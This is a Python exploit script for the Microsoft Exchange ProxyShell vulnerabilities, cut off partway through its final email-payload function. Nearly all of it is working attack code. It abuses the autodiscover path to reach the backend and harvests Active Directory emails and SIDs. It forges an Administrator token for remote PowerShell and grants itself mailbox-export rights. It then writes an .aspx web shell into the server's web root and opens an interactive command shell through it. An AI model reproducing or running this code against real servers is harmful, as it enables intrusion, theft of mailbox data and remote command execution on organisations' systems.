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exchange_proxyshell.py
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#!/usr/bin/env python3
#
# https://github.com/horizon3ai/proxyshell
# Improved version of https://github.com/dmaasland/proxyshell-poc
import argparse
import base64
import struct
import random
import string
import re
import requests
import threading
import shlex
import sys
import time
import tldextract
import xml.etree.ElementTree as ET
from pypsrp.wsman import WSMan
from pypsrp.powershell import PowerShell, RunspacePool
from pypsrp.complex_objects import Command
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from functools import partial
TARGET = None
EXCHANGE_MAP = {
'15.0.1497.23' : {'long_version': 'Exchange Server 2013 CU23 Jul21SU', 'version_short': 'Exchange2013'},
'15.0.1497.18' : {'long_version': 'Exchange Server 2013 CU23 May21SU', 'version_short': 'Exchange2013'},
'15.0.1497.15' : {'long_version': 'Exchange Server 2013 CU23 Apr21SU', 'version_short': 'Exchange2013'},
'15.0.1497.12' : {'long_version': 'Exchange Server 2013 CU23 Mar21SU', 'version_short': 'Exchange2013'},
'15.0.1497.2' : {'long_version': 'Exchange Server 2013 CU23', 'version_short': 'Exchange2013'},
'15.0.1473.6' : {'long_version': 'Exchange Server 2013 CU22 Mar21SU', 'version_short': 'Exchange2013'},
'15.0.1473.3' : {'long_version': 'Exchange Server 2013 CU22', 'version_short': 'Exchange2013'},
'15.0.1395.12' : {'long_version': 'Exchange Server 2013 CU21 Mar21SU', 'version_short': 'Exchange2013'},
'15.0.1395.4' : {'long_version': 'Exchange Server 2013 CU21', 'version_short': 'Exchange2013'},
'15.0.1367.3' : {'long_version': 'Exchange Server 2013 CU20', 'version_short': 'Exchange2013'},
'15.0.1365.1' : {'long_version': 'Exchange Server 2013 CU19', 'version_short': 'Exchange2013'},
'15.0.1347.2' : {'long_version': 'Exchange Server 2013 CU18', 'version_short': 'Exchange2013'},
'15.0.1320.4' : {'long_version': 'Exchange Server 2013 CU17', 'version_short': 'Exchange2013'},
'15.0.1293.2' : {'long_version': 'Exchange Server 2013 CU16', 'version_short': 'Exchange2013'},
'15.0.1263.5' : {'long_version': 'Exchange Server 2013 CU15', 'version_short': 'Exchange2013'},
'15.0.1236.3' : {'long_version': 'Exchange Server 2013 CU14', 'version_short': 'Exchange2013'},
'15.0.1210.3' : {'long_version': 'Exchange Server 2013 CU13', 'version_short': 'Exchange2013'},
'15.0.1178.4' : {'long_version': 'Exchange Server 2013 CU12', 'version_short': 'Exchange2013'},
'15.0.1156.6' : {'long_version': 'Exchange Server 2013 CU11', 'version_short': 'Exchange2013'},
'15.0.1130.7' : {'long_version': 'Exchange Server 2013 CU10', 'version_short': 'Exchange2013'},
'15.0.1104.5' : {'long_version': 'Exchange Server 2013 CU9', 'version_short': 'Exchange2013'},
'15.0.1076.9' : {'long_version': 'Exchange Server 2013 CU8', 'version_short': 'Exchange2013'},
'15.0.1044.25' : {'long_version': 'Exchange Server 2013 CU7', 'version_short': 'Exchange2013'},
'15.0.995.29' : {'long_version': 'Exchange Server 2013 CU6', 'version_short': 'Exchange2013'},
'15.0.913.22' : {'long_version': 'Exchange Server 2013 CU5', 'version_short': 'Exchange2013'},
'15.0.847.64' : {'long_version': 'Exchange Server 2013 SP1 Mar21SU', 'version_short': 'Exchange2013'},
'15.0.847.32' : {'long_version': 'Exchange Server 2013 SP1', 'version_short': 'Exchange2013'},
'15.0.775.38' : {'long_version': 'Exchange Server 2013 CU3', 'version_short': 'Exchange2013'},
'15.0.712.24' : {'long_version': 'Exchange Server 2013 CU2', 'version_short': 'Exchange2013'},
'15.0.620.29' : {'long_version': 'Exchange Server 2013 CU1', 'version_short': 'Exchange2013'},
'15.0.516.32' : {'long_version': 'Exchange Server 2013 RTM', 'version_short': 'Exchange2013'},
'15.1.2308.14' : {'long_version': 'Exchange Server 2016 CU21 Jul21SU', 'version_short': 'Exchange2016'},
'15.1.2308.8' : {'long_version': 'Exchange Server 2016 CU21', 'version_short': 'Exchange2016'},
'15.1.2242.12' : {'long_version': 'Exchange Server 2016 CU20 Jul21SU', 'version_short': 'Exchange2016'},
'15.1.2242.10' : {'long_version': 'Exchange Server 2016 CU20 May21SU', 'version_short': 'Exchange2016'},
'15.1.2242.8' : {'long_version': 'Exchange Server 2016 CU20 Apr21SU', 'version_short': 'Exchange2016'},
'15.1.2242.4' : {'long_version': 'Exchange Server 2016 CU20', 'version_short': 'Exchange2016'},
'15.1.2176.14' : {'long_version': 'Exchange Server 2016 CU19 May21SU', 'version_short': 'Exchange2016'},
'15.1.2176.12' : {'long_version': 'Exchange Server 2016 CU19 Apr21SU', 'version_short': 'Exchange2016'},
'15.1.2176.9' : {'long_version': 'Exchange Server 2016 CU19 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.2176.2' : {'long_version': 'Exchange Server 2016 CU19', 'version_short': 'Exchange2016'},
'15.1.2106.13' : {'long_version': 'Exchange Server 2016 CU18 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.2106.2' : {'long_version': 'Exchange Server 2016 CU18', 'version_short': 'Exchange2016'},
'15.1.2044.13' : {'long_version': 'Exchange Server 2016 CU17 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.2044.4' : {'long_version': 'Exchange Server 2016 CU17', 'version_short': 'Exchange2016'},
'15.1.1979.8' : {'long_version': 'Exchange Server 2016 CU16 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.1979.3' : {'long_version': 'Exchange Server 2016 CU16', 'version_short': 'Exchange2016'},
'15.1.1913.12' : {'long_version': 'Exchange Server 2016 CU15 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.1913.5' : {'long_version': 'Exchange Server 2016 CU15', 'version_short': 'Exchange2016'},
'15.1.1847.12' : {'long_version': 'Exchange Server 2016 CU14 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.1847.3' : {'long_version': 'Exchange Server 2016 CU14', 'version_short': 'Exchange2016'},
'15.1.1779.8' : {'long_version': 'Exchange Server 2016 CU13 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.1779.2' : {'long_version': 'Exchange Server 2016 CU13', 'version_short': 'Exchange2016'},
'15.1.1713.10' : {'long_version': 'Exchange Server 2016 CU12 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.1713.5' : {'long_version': 'Exchange Server 2016 CU12', 'version_short': 'Exchange2016'},
'15.1.1591.18' : {'long_version': 'Exchange Server 2016 CU11 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.1591.10' : {'long_version': 'Exchange Server 2016 CU11', 'version_short': 'Exchange2016'},
'15.1.1531.12' : {'long_version': 'Exchange Server 2016 CU10 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.1531.3' : {'long_version': 'Exchange Server 2016 CU10', 'version_short': 'Exchange2016'},
'15.1.1466.16' : {'long_version': 'Exchange Server 2016 CU9 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.1466.3' : {'long_version': 'Exchange Server 2016 CU9', 'version_short': 'Exchange2016'},
'15.1.1415.10' : {'long_version': 'Exchange Server 2016 CU8 Mar21SU', 'version_short': 'Exchange2016'},
'15.1.1415.2' : {'long_version': 'Exchange Server 2016 CU8', 'version_short': 'Exchange2016'},
'15.1.1261.35' : {'long_version': 'Exchange Server 2016 CU7', 'version_short': 'Exchange2016'},
'15.1.1034.26' : {'long_version': 'Exchange Server 2016 CU6', 'version_short': 'Exchange2016'},
'15.1.845.34' : {'long_version': 'Exchange Server 2016 CU5', 'version_short': 'Exchange2016'},
'15.1.669.32' : {'long_version': 'Exchange Server 2016 CU4', 'version_short': 'Exchange2016'},
'15.1.544.27' : {'long_version': 'Exchange Server 2016 CU3', 'version_short': 'Exchange2016'},
'15.1.466.34' : {'long_version': 'Exchange Server 2016 CU2', 'version_short': 'Exchange2016'},
'15.1.396.30' : {'long_version': 'Exchange Server 2016 CU1', 'version_short': 'Exchange2016'},
'15.1.225.42' : {'long_version': 'Exchange Server 2016 RTM', 'version_short': 'Exchange2016'},
'15.1.225.16' : {'long_version': 'Exchange Server 2016 Preview', 'version_short': 'Exchange2016'},
'15.2.922.13' : {'long_version': 'Exchange Server 2019 CU10 Jul21SU', 'version_short': 'Exchange2019'},
'15.2.922.7' : {'long_version': 'Exchange Server 2019 CU10', 'version_short': 'Exchange2019'},
'15.2.858.15' : {'long_version': 'Exchange Server 2019 CU9 Jul21SU', 'version_short': 'Exchange2019'},
'15.2.858.12' : {'long_version': 'Exchange Server 2019 CU9 May21SU', 'version_short': 'Exchange2019'},
'15.2.858.10' : {'long_version': 'Exchange Server 2019 CU9 Apr21SU', 'version_short': 'Exchange2019'},
'15.2.858.5' : {'long_version': 'Exchange Server 2019 CU9', 'version_short': 'Exchange2019'},
'15.2.792.15' : {'long_version': 'Exchange Server 2019 CU8 May21SU', 'version_short': 'Exchange2019'},
'15.2.792.13' : {'long_version': 'Exchange Server 2019 CU8 Apr21SU', 'version_short': 'Exchange2019'},
'15.2.792.10' : {'long_version': 'Exchange Server 2019 CU8 Mar21SU', 'version_short': 'Exchange2019'},
'15.2.792.3' : {'long_version': 'Exchange Server 2019 CU8', 'version_short': 'Exchange2019'},
'15.2.721.13' : {'long_version': 'Exchange Server 2019 CU7 Mar21SU', 'version_short': 'Exchange2019'},
'15.2.721.2' : {'long_version': 'Exchange Server 2019 CU7', 'version_short': 'Exchange2019'},
'15.2.659.12' : {'long_version': 'Exchange Server 2019 CU6 Mar21SU', 'version_short': 'Exchange2019'},
'15.2.659.4' : {'long_version': 'Exchange Server 2019 CU6', 'version_short': 'Exchange2019'},
'15.2.595.8' : {'long_version': 'Exchange Server 2019 CU5 Mar21SU', 'version_short': 'Exchange2019'},
'15.2.595.3' : {'long_version': 'Exchange Server 2019 CU5', 'version_short': 'Exchange2019'},
'15.2.529.13' : {'long_version': 'Exchange Server 2019 CU4 Mar21SU', 'version_short': 'Exchange2019'},
'15.2.529.5' : {'long_version': 'Exchange Server 2019 CU4', 'version_short': 'Exchange2019'},
'15.2.464.15' : {'long_version': 'Exchange Server 2019 CU3 Mar21SU', 'version_short': 'Exchange2019'},
'15.2.464.5' : {'long_version': 'Exchange Server 2019 CU3', 'version_short': 'Exchange2019'},
'15.2.397.11' : {'long_version': 'Exchange Server 2019 CU2 Mar21SU', 'version_short': 'Exchange2019'},
'15.2.397.3' : {'long_version': 'Exchange Server 2019 CU2', 'version_short': 'Exchange2019'},
'15.2.330.11' : {'long_version': 'Exchange Server 2019 CU1 Mar21SU', 'version_short': 'Exchange2019'},
'15.2.330.5' : {'long_version': 'Exchange Server 2019 CU1', 'version_short': 'Exchange2019'},
'15.2.221.18' : {'long_version': 'Exchange Server 2019 RTM Mar21SU', 'version_short': 'Exchange2019'},
'15.2.221.12' : {'long_version': 'Exchange Server 2019 RTM', 'version_short': 'Exchange2019'},
'15.2.196.0' : {'long_version': 'Exchange Server 2019 Preview', 'version_short': 'Exchange2019'}
}
EXCHANGE_ALT_MAP = {
'15.0': {'long_version': 'Exchange Server 2013', 'version_short': 'Exchange2013'},
'15.1': {'long_version': 'Exchange Server 2016', 'version_short': 'Exchange2016'},
'15.2': {'long_version': 'Exchange Server 2019', 'version_short': 'Exchange2019'}
}
BUILTIN_EMAILS = [
'Administrator',
'SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}',
'DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}'
'FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042',
'Migration.8f3e7716-2011-43e4-96b1-aba62d229136',
'SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}',
'SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}',
'SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}'
]
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
class PwnServer(BaseHTTPRequestHandler):
def __init__(self, proxyshell, *args, **kwargs):
self.proxyshell = proxyshell
super().__init__(*args, **kwargs)
def do_POST(self):
global TARGET
# From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
powershell_url = f'/powershell/?X-Rps-CAT={self.proxyshell.token}&PSVersion=5.1.17763.1971'
length = int(self.headers['content-length'])
content_type = self.headers['content-type']
post_data = self.rfile.read(length).decode()
if TARGET:
post_data = re.sub('<wsa:To>(.*?)</wsa:To>', f'<wsa:To>http://{TARGET}:80/powershell</wsa:To>', post_data)
post_data = re.sub('<wsman:ResourceURI s:mustUnderstand="true">(.*?)</wsman:ResourceURI>', '<wsman:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsman:ResourceURI>', post_data)
headers = {
'Content-Type': content_type
}
backend = 'be'
while TARGET != backend:
r = self.proxyshell.post(powershell_url, post_data, headers)
backend = r.headers.get('X-CalculatedBETarget')
if r.status_code == 200 and b'ResourceCreated' in r.content:
TARGET = r.headers.get('X-CalculatedBETarget')
print(f'[+] Created powershell session on {TARGET}')
elif r.status_code == 500 and TARGET != backend:
print(f'[-] Load balanced to wrong server: {backend}')
elif r.status_code == 500 and TARGET == backend and b'assigned to any management roles':
print(f'[-] User has insufficient permissions')
print(r.content)
sys.exit()
elif r.status_code == 500:
print(r.status_code)
print(r.headers)
print(r.content)
else:
pass
#print(r.status_code)
#print(r.headers)
#print(r.content)
resp = r.content
self.send_response(200)
self.end_headers()
self.wfile.write(resp)
class ProxyShell:
def __init__(self, exchange_url, email, verify=False):
self.email = None
self.emails = []
self.exchange_url = exchange_url if exchange_url.startswith('https://') else f'https://{exchange_url}'
self.rand_email = f'{rand_string()}@{rand_string()}.{rand_string(3)}'
self.sid = None
self.legacydn = None
self.legacydns = []
self.rand_subj = rand_string(16)
self.target_be = None
self.servers = {}
self.version = None
self.versions = {'Exchange2016'}
self.domain = None
self.domains = set()
self.session = requests.Session()
self.session.verify = verify
self.session.headers = {
'Cookie': f'Email=autodiscover/autodiscover.json?a={self.rand_email}'
}
def post(self, endpoint, data, headers={}):
url = f'{self.exchange_url}/autodiscover/autodiscover.json?a={self.rand_email}{endpoint}'
r = self.session.post(
url=url,
data=data,
headers=headers
)
return r
def get(self, endpoint):
url = f'{self.exchange_url}/autodiscover/autodiscover.json?a={self.rand_email}{endpoint}'
headers = {
'User-Agent': 'Mozilla/5.0',
'Accept-Encoding': 'gzip, deflate',
'X-Requested-With': 'XMLHttpRequest',
'Accept' : '*/*',
'Accept-Language': 'en-US,q=0.5,en',
'Cookie': f'Email=autodiscover/autodiscover.json?a={self.rand_email}'
}
r = requests.get(url, headers=headers, verify=False)
be_server = r.headers.get('X-Calculatedbetarget')
version = re.search('<br>Version: (.*?)<br>', r.text)
user = re.search('<b>User:<\/b>(.*?)<br>', r.text)
sid = re.search('<b>SID:<\/b>(.*?)<br>', r.text)
be_data = {}
if be_server:
# Add external domain as possible internal for builtin guesses
try:
extracted = tldextract.extract(be_server)
domain = "{}.{}".format(extracted.domain, extracted.suffix)
self.domains.add(domain)
except:
print(f'[-] Failed parsing external domains TLD')
pass
be_data[be_server] = {}
if version:
version = version.group(1).lstrip().rstrip()
short_version = str(version[:4])
be_data[be_server]['version'] = version
if EXCHANGE_MAP.get(version):
be_data[be_server]['version_short'] = EXCHANGE_MAP.get(version)['long_version']
self.version = EXCHANGE_MAP.get(version)['version_short']
self.versions.add(self.version)
elif EXCHANGE_ALT_MAP.get(short_version):
long_ver = EXCHANGE_ALT_MAP.get(short_version)['long_version']
short_ver = EXCHANGE_ALT_MAP.get(short_version)['version_short']
be_data[be_server]['version_short'] = long_ver
self.version = short_ver
self.versions.add(self.version)
else:
print(f'[-] Exchange version {version} not in map')
if user:
user = user.group(1).lstrip().rstrip()
be_data[be_server]['user'] = user
if sid:
sid = sid.group(1).lstrip().rstrip()
be_data[be_server]['sid'] = sid
return be_data
def enumerate(self):
# Request /map/nspi endpoint several times to determine BE servers and fixate future requests
print('[+] Determining number of Exchange backend servers...')
for i in range(20):
data = self.get('/mapi/nspi')
self.servers.update(data)
print(f'[+] Exchange Backend Servers: {list(self.servers.keys())}')
for be, data in self.servers.items():
for key, info in data.items():
print(f'[+] {be} - {key}: {info}')
if not any(self.servers.values()):
print('[-] Not vulnerable!')
sys.exit()
def get_sid_from_be(self):
for be, data in self.servers.items():
sid = data.get('sid')
if sid:
sid_length = len(sid.split('-'))
if sid_length == 8:
print(f'[+] Successfully parsed SID via backend request: {sid}')
self.sid = sid
return sid
def rid_cycle(self, rid=500):
try:
group_sid = '-'.join(self.sid.split('-')[:-1])
new_sid = group_sid + '-' + str(rid)
self.sid = new_sid
print(f'[+] RID Cycled: {self.sid}')
except:
print(f'[-] Failed cycling SID: {self.sid}')
sys.exit()
def get_emails(self):
if self.version:
print(f'[+] Attempting to retrieve Active Directory emails...')
else:
print(f'[-] Failed enumerating Exchange version to request emails')
return
data = '''
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="{}"/>
</soap:Header>
<soap:Body>
<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
<m:UnresolvedEntry>SMTP:</m:UnresolvedEntry>
</m:ResolveNames>
</soap:Body>
</soap:Envelope>
'''
headers = {
'Content-Type': 'text/xml'
}
success = False
while not success:
version = random.choice(list(self.versions))
data = data.format(version)
r = self.post('/EWS/exchange.asmx', data=data, headers=headers)
if 'ErrorInvalidServerVersion' not in r.text and 'The request is invalid' not in r.text:
success = True
try:
email_xml = ET.fromstring(r.content)
# Parse UserMailbox LegacyDNs
mailboxes = email_xml.findall('{*}Body/{*}ResolveNamesResponse/{*}ResponseMessages/{*}ResolveNamesResponseMessage/{*}ResolutionSet/{*}Resolution/{*}Contact/{*}EmailAddresses/{*}Entry')
for mailbox in mailboxes:
if 'X500:' in mailbox.text or 'x500:' in mailbox.text:
legacydn = mailbox.text.split('500:')[1]
self.legacydns.append(legacydn)
print(f'[+] Enumerated {len(self.legacydns)} possible UserMailbox LegacyDNs from Active Directory')
# Parse User LegacyDNs
emails = email_xml.findall('{*}Body/{*}ResolveNamesResponse/{*}ResponseMessages/{*}ResolveNamesResponseMessage/{*}ResolutionSet/{*}Resolution/{*}Mailbox/{*}EmailAddress')
smtp_domains = {}
for email in emails:
self.emails.append(email.text)
smtp_domain = email.text.split('@')[1]
if isinstance(smtp_domains.get(smtp_domain), int):
smtp_domains[smtp_domain.lower()] += 1
else:
smtp_domains[smtp_domain.lower()] = 0
print(f'[+] Enumerated {len(self.emails)} possible User LegacyDNs from Active Directory')
self.domains.update(list(smtp_domains))
print(f'[+] Enumerated SMTP domains: {self.domains}')
except:
print(f'[-] Failed enumerating Active Directory emails')
pass
def get_token(self):
self.token = self.gen_token()
def get_sid_from_legacydn(self, legacydns=None):
sid = None
if not legacydns:
legacydns = self.legacydns
for legacydn in legacydns:
print(f'[+] Attempting to retrieve SID for {legacydn}')
data = legacydn
data += '\x00\x00\x00\x00\x00\xe4\x04'
data += '\x00\x00\x09\x04\x00\x00\x09'
data += '\x04\x00\x00\x00\x00\x00\x00'
headers = {
"X-Requesttype": 'Connect',
"X-Clientinfo": '{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}',
"X-Clientapplication": 'Outlook/15.0.4815.1002',
"X-Requestid": '{C715155F-2BE8-44E0-BD34-2960067874C8}:2',
'Content-Type': 'application/mapi-http'
}
r = self.post('/mapi/emsmdb', data, headers)
try:
# Parse valid user LegacyDN
user_sid = r.text.split('with SID ')[1].split(' and MasterAccountSid')[0]
if len(user_sid.split('-')) == 8:
self.sid = user_sid
sid = user_sid
print(f'[+] Successfully parsed SID via UserMailbox object: {user_sid}')
# Parse SID from requester of MailContact object
user_sid = r.text.split('User SID: ')[1].split("' can't act as owner")[0]
if len(user_sid.split('-')) == 8:
self.sid = user_sid
sid = user_sid
print(f'[+] Successfully parsed SID via MailContact: {user_sid}')
except:
#print(f'Failed parsing SID from /mapi/emsmdb endpoint:\n{r.text}')
pass
if sid:
break
return sid
def get_sid_from_builtin(self):
sid = None
print(f'[+] Attempting to discover SID via {len(BUILTIN_EMAILS) * len(self.domains)} builtin email combinations')
for email in BUILTIN_EMAILS:
if sid:
break
for domain in self.domains:
data = self.autodiscover_body(email + '@' + domain)
headers = {'Content-Type': 'text/xml'}
r = self.post('/autodiscover/autodiscover.xml', data, headers)
try:
# Attempt to parse LegacyDN if present
autodiscover_xml = ET.fromstring(r.content)
legacydn = autodiscover_xml.find('{*}Response/{*}User/{*}LegacyDN').text
print(f'[+] Retrieved LegacyDN: {legacydn}')
# If LegacyDN present, this is the SMTP domain
if not self.domain:
self.domain = domain
self.domains = {domain}
print(f'[+] Identified backend SMTP domain: {domain}')
# Attempt SID lookup inline before enumerating more LegacyDNs
sid = self.get_sid_from_legacydn([legacydn])
break
except Exception as e:
#print(f'Failed parsing LegacyDN from response:\n{e}')
continue
if not self.domain:
print(f'[-] Failed identifying backend SMTP domain')
if not sid:
print(f'[-] Failed finding SID via builtin emails')
return sid
def get_sid_from_email(self):
sid = None
if self.emails:
print(f'[+] Attempting to discover SID via {len(self.emails)} enumerated emails')
else:
print(f'[-] No emails enumerated - skipping SID discovery via this method')
for email in self.emails:
data = self.autodiscover_body(email)
headers = {'Content-Type': 'text/xml'}
r = self.post('/autodiscover/autodiscover.xml', data, headers)
try:
# Attempt to parse LegacyDN if present
autodiscover_xml = ET.fromstring(r.content)
legacydn = autodiscover_xml.find('{*}Response/{*}User/{*}LegacyDN').text
print(f'[+] Retrieved LegacyDN: {legacydn}')
# Attempt SID lookup inline before enumerating more LegacyDNs
sid = self.get_sid_from_legacydn([legacydn])
if sid:
break
except Exception as e:
#print(f'Failed parsing LegacyDN from response:\n{e}')
continue
if not sid:
print(f'[-] Failed finding SID via user emails')
return sid
def autodiscover_body(self, email):
autodiscover = ET.Element(
'Autodiscover',
xmlns='http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006'
)
request = ET.SubElement(autodiscover, 'Request')
ET.SubElement(request, 'EMailAddress').text = email
ET.SubElement(request, 'AcceptableResponseSchema').text = 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a'
return ET.tostring(
autodiscover,
encoding='unicode',
method='xml'
)
def gen_token(self):
# From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
version = 0
ttype = 'Windows'
compressed = 0
auth_type = 'Kerberos'
raw_token = b''
gsid = 'S-1-5-32-544'
self.email = 'Administrator@' + self.domain
version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
compress_data = b'C' + (compressed).to_bytes(1, 'little')
auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
login_data = b'L' + (len(self.email)).to_bytes(1, 'little') + self.email.encode()
user_data = b'U' + (len(self.sid)).to_bytes(1, 'little') + self.sid.encode()
group_data = b'G' + struct.pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
ext_data = b'E' + struct.pack('>I', 0)
raw_token += version_data
raw_token += type_data
raw_token += compress_data
raw_token += auth_data
raw_token += login_data
raw_token += user_data
raw_token += group_data
raw_token += ext_data
data = base64.b64encode(raw_token).decode()
print(f'[+] Generated token for {self.email} - {self.sid}')
return data
def rand_string(n=5):
return ''.join(random.choices(string.ascii_lowercase, k=n))
def exploit(proxyshell):
# Request /mapi/nspi multiple times to determine backends and potentially leak SID
proxyshell.enumerate()
be_sid = proxyshell.get_sid_from_be()
# Retrieve Active Directory email data
proxyshell.get_emails()
# Check if SID leaked via UserMailbox LegacyDNs
mailbox_sid = proxyshell.get_sid_from_legacydn()
# Check if SID leaked via common builtin emails and find SMTP domain
builtin_sid = proxyshell.get_sid_from_builtin()
# Check if SID leaked via enumerated AD emails
user_sid = proxyshell.get_sid_from_email()
if be_sid or mailbox_sid or builtin_sid or user_sid:
proxyshell.rid_cycle()
proxyshell.get_token()
print(f'[+] Token: {proxyshell.token}')
else:
print(f'[-] Failed to obtain a SID via any method!')
sys.exit()
def start_server(proxyshell, port):
handler = partial(PwnServer, proxyshell)
server = ThreadedHTTPServer(('', port), handler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
def shell(command, port, proxyshell):
# From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
if command.lower() in ['exit', 'quit']:
exit()
wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool:
if command.lower().strip() == 'dropshell':
email_success = False
while not email_success:
import time
time.sleep(0.5)
r = drop_shell(proxyshell)
if 'The specified server version is invalid' in r.text:
print('Send email Exchange version mismatch in EWS request.')
elif 'The request failed schema validation' in r.text:
print('Failed schema validation')
sys.exit()
elif 'ErrorInvalid' in r.text:
print('Uknown error')
sys.exit()
else:
email_success = True
print(f'[+] Attempting to lookup email for {proxyshell.sid}')
ps = PowerShell(pool)
ps.add_cmdlet('Get-User').add_parameter('Identity', proxyshell.sid).add_cmdlet('Select-Object').add_parameter('ExpandProperty', 'UserPrincipalName')
output = ps.invoke()
stdout = "\n".join([str(s) for s in output])
stderr = "\n".join([str(s) for s in ps.streams.error])
print("OUTPUT:\n%s" % stdout)
print("ERROR:\n%s" % stderr)
if stderr:
sys.exit()
else:
proxyshell.email = stdout.rstrip().lstrip()
print(f'[+] Successfully obtained email: {proxyshell.email}')
print(f'[+] Attempting to assign export permission role to {proxyshell.email}')
ps = PowerShell(pool)
ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter('Role', 'Mailbox Import Export').add_parameter('User', proxyshell.email)
output = ps.invoke()
stdout = "\n".join([str(s) for s in output])
stderr = "\n".join([str(s) for s in ps.streams.error])
print("OUTPUT:\n%s" % stdout)
print("ERROR:\n%s" % stderr)
if stderr:
sys.exit()
else:
print(f'[+] Successfully assigned export permission role to {proxyshell.email}')
print(f'[+] Attempting to export PST for {proxyshell.email} to C:\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx')
ps = PowerShell(pool)
ps.add_cmdlet(
'New-MailboxExportRequest'
).add_parameter(
'Mailbox', proxyshell.email
).add_parameter(
'FilePath', f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx'
).add_parameter(
'IncludeFolders', '#Drafts#'
).add_parameter(
'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\''
)
output = ps.invoke()
stdout = "\n".join([str(s) for s in output])
stderr = "\n".join([str(s) for s in ps.streams.error])
print("OUTPUT:\n%s" % stdout)
print("ERROR:\n%s" % stderr)
if stderr:
sys.exit()
else:
print(f'[+] Successfully exported PST')
shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx'
print(f'Shell URL: {shell_url}')
for i in range(10):
print(f'Testing shell {i}')
r = requests.get(shell_url, verify=proxyshell.session.verify)
if r.status_code == 200:
delimit = rand_string()
while True:
cmd = input('Shell> ')
if cmd.lower() in ['exit', 'quit']:
return
exec_code = f'Response.Write("{delimit}" + new ActiveXObject("WScript.Shell").Exec("cmd.exe /c {cmd}").StdOut.ReadAll() + "{delimit}");'
r = requests.get(
shell_url,
params={
'exec_code':exec_code
},
verify=proxyshell.session.verify
)
output = r.content.split(delimit.encode())[1]
print(output.decode())
time.sleep(5)
i += 1
print('Shell drop failed :(')
return
else:
ps = PowerShell(pool)
cmd_array = shlex.split(command)
# Cmdlet
cmdlet = cmd_array[0]
cmdlet = ps.add_cmdlet(cmdlet)
# Parameters
param_tuples = []
param_pos = True
param = ''
for p in cmd_array[1:]:
if param_pos:
param = p
param_pos = False
else:
arg = p
param_tuples.append((param, arg))
param_pos = True
for param in param_tuples:
cmdlet.add_parameter(param[0][1:], param[1])
output = ps.invoke()
print('[+] PS> ' + command)
print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
def get_args():
parser = argparse.ArgumentParser(description='ProxyShell example')
parser.add_argument('-u', help='Exchange URL', required=True)
parser.add_argument('-e', help='Email address', required=False)
parser.add_argument('-p', help='Local wsman port', default=8000, type=int)
parser.add_argument('-c', help='PowerShell cmd to run', required=False)
return parser.parse_args()
def drop_shell(proxyshell):
data = f"""
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="{proxyshell.version}" />
<t:SerializedSecurityContext>
<t:UserSid>{proxyshell.sid}</t:UserSid>
<t:GroupSids>
<t:GroupIdentifier Attributes=500>
<t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
</t:GroupIdentifier>
</t:GroupSids>
</t:SerializedSecurityContext>
</soap:Header>
<soap:Body>
<m:CreateItem MessageDisposition="SaveOnly">
<m:Items>
<t:Message>
<t:Subject>{proxyshell.rand_subj}</t:Subject>
<t:Body BodyType="HTML">Hello</t:Body>
<t:Attachments>
<t:FileAttachment>
<t:Name>FileAttachment.txt</t:Name>
<t:IsInline>false</t:IsInline>
<t:IsContactPhoto>false</t:IsContactPhoto>
